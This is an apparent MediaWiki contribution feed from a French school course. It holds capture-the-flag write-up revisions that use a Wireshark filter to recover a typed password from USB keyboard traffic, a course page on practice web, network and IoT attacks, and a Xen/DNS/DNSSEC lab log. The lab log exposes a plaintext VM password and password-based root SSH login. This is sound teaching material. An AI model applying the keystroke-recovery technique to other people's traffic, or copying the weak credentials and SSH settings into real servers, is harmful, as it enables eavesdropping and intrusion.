&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58209</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58209"/>
				<updated>2022-01-19T08:54:49Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le mdp.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58197</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58197"/>
				<updated>2022-01-18T13:11:11Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le mdp.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58183</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58183"/>
				<updated>2022-01-18T12:01:42Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58182</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58182"/>
				<updated>2022-01-18T11:57:15Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58181</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58181"/>
				<updated>2022-01-18T11:56:08Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Flocons */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58180</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58180"/>
				<updated>2022-01-18T11:55:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58179</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58179"/>
				<updated>2022-01-18T11:54:10Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Flocons */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58167</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58167"/>
				<updated>2022-01-18T11:19:27Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Debut */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Flocons =&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58158</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58158"/>
				<updated>2022-01-18T11:13:20Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : Page créée avec « = Debut = »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Debut =&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2021/2022&amp;diff=58154</id>
		<title>Option Cybersécurité 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2021/2022&amp;diff=58154"/>
				<updated>2022-01-18T11:10:55Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Documents ==&lt;br /&gt;
&lt;br /&gt;
Le module de cybersécurité se présente sous la forme d'un certain nombre d'énigmes ou de puzzles à résoudre.&lt;br /&gt;
&lt;br /&gt;
Vous avez ici la liste des supports correspondants :&lt;br /&gt;
* Pour tous les participants un [https://ctf.plil.fr/challenges?category=option-cyberscurit-20202021 &amp;quot;jeu du drapeau&amp;quot;] comportant 10 niveaux. Certains niveaux sont difficiles mais pas compliqués et ne demandent donc pas d'expertise particulière en informatique, électronique ou traitement du signal. D'autres niveaux sont clairement compliqués, tentez !&lt;br /&gt;
* Pour ceux qui n'en ont pas déjà eu l'occasion, essayez de pénétrer sur le serveur de l'application Web [http://honey.plil.info]. Comme seule indication il vous est indiqué que le mot de passe de l'administrateur suit le même tropisme que celui des machines Zabeth. A vous de tester les attaques habituelles sur les sites Web utilisant des bases de données.&lt;br /&gt;
* Attaques réseau : [[Manipulations Web et Mail]]&lt;br /&gt;
* Attaques objects connectés : Vous disposez d'un &amp;quot;réseau&amp;quot; d'objets composé d'un Arduino Uno standard et d'un émetteur/récepteur FSK RFM69HCW. Plusieurs programmes transmettant des données peuvent être implantés sur les Arduino. Le but est de rechercher la clé de chiffrement et/ou les données envoyées. Pour cela, vous aurez physiquement accès à l'objet connecté pour pouvoir tenter de dumper la mémoire, lire des bus, ou intercepter le flux de donnée radio.&lt;br /&gt;
&lt;br /&gt;
Les supports de cours sont disponibles à l'adresse [http://www.cyberedu.fr/pages/supports/]&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom NOM&amp;quot;, séparez vos noms par des virgules.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|- &lt;br /&gt;
| [[Cyber 2021/2022 G1]] || Axel CHEMIN, Alexandre RENAU&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G2]] || Souleymane Sow, Selim Bensalem&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G3]] || Clément GODET, Louis WADBLED&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G4]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G5]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G6]] || Prénom NOM, Prénom NOM &lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G7]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G8]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G9]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2021/2022 G10]] || Prénom NOM, Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58066</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58066"/>
				<updated>2022-01-12T16:01:10Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
